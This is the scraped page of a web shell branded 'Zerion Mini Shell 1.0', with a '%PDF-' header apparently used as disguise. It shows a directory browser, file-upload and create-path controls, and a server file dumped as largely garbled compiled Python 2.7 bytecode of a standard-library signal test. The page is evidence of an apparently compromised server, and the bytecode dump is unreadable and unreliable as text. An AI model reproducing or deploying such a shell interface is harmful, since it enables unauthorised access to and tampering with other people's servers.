%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/test/test_threadsignals.pyo

ó
Nêáac@sdZddlZddlZddlZddlZddlmZmZmZedƒZ	ej
d dks€ej
dkr–ejd	ej
‚nejƒZ
e	jƒZd
„Zd„Zd„Zd
ejfd„ƒYZd„ZedkreƒndS(s6PyUnit testing that threads honor our signal semanticsiÿÿÿÿN(trun_unittestt
import_moduletreap_threadstthreaditwintos2triscossCan't test signal on %scCsLtjtj|ƒ}tjtj|ƒ}tjtj|ƒ}|||fS(N(tsignaltSIGUSR1tSIGUSR2tSIGALRM(tfor_usr1tfor_usr2tfor_alrmtusr1tusr2talrm((s3/usr/local/lib/python2.7/test/test_threadsignals.pytregisterSignalsscCs,t|dcd7<tjƒt|d<dS(Nttrippedit
tripped_by(tsignal_blackboardRt	get_ident(tsigtframe((s3/usr/local/lib/python2.7/test/test_threadsignals.pythandle_signalsscCs4tjttjƒtjttjƒtjƒdS(N(tostkilltprocess_pidRRR	t
signalled_alltrelease(((s3/usr/local/lib/python2.7/test/test_threadsignals.pytsend_signalsst
ThreadSignalscBs&eZdZed„ƒZd„ZRS(sÞTest signal handling semantics of threads.
       We spawn a thread, have the thread send two signals, and
       wait for it to finish. Check that we got both signals
       and that they were run by the main thread.
    cCstjƒ|jƒtjƒttjddksLttjddkr{ztjdƒtjƒWdtjdƒXn|j	ttjddƒ|j	ttjdt
jƒƒ|j	ttjddƒ|j	ttjdt
jƒƒtjƒdS(NRiiR(
RtacquiretspawnSignallingThreadRRRR	talarmtpausetassertEqualRRR(tself((s3/usr/local/lib/python2.7/test/test_threadsignals.pyttest_signals*s 





cCstjtdƒdS(N((Rtstart_new_threadR(R%((s3/usr/local/lib/python2.7/test/test_threadsignals.pyR!Es(t__name__t
__module__t__doc__RR&R!(((s3/usr/local/lib/python2.7/test/test_threadsignals.pyR$scCs€iidd6dd6tj6idd6dd6tj6idd6dd6tj6attttƒ}zttƒWdt|ŒXdS(NiRR(	RRR	R
RRRRR(toldsigs((s3/usr/local/lib/python2.7/test/test_threadsignals.pyt	test_mainIst__main__(RR(R*tunittestRRtsysttest.test_supportRRRRtplatformtSkipTesttgetpidRt
allocate_lockRRRRtTestCaseRR,R((((s3/usr/local/lib/python2.7/test/test_threadsignals.pyt<module>s""				%	


Zerion Mini Shell 1.0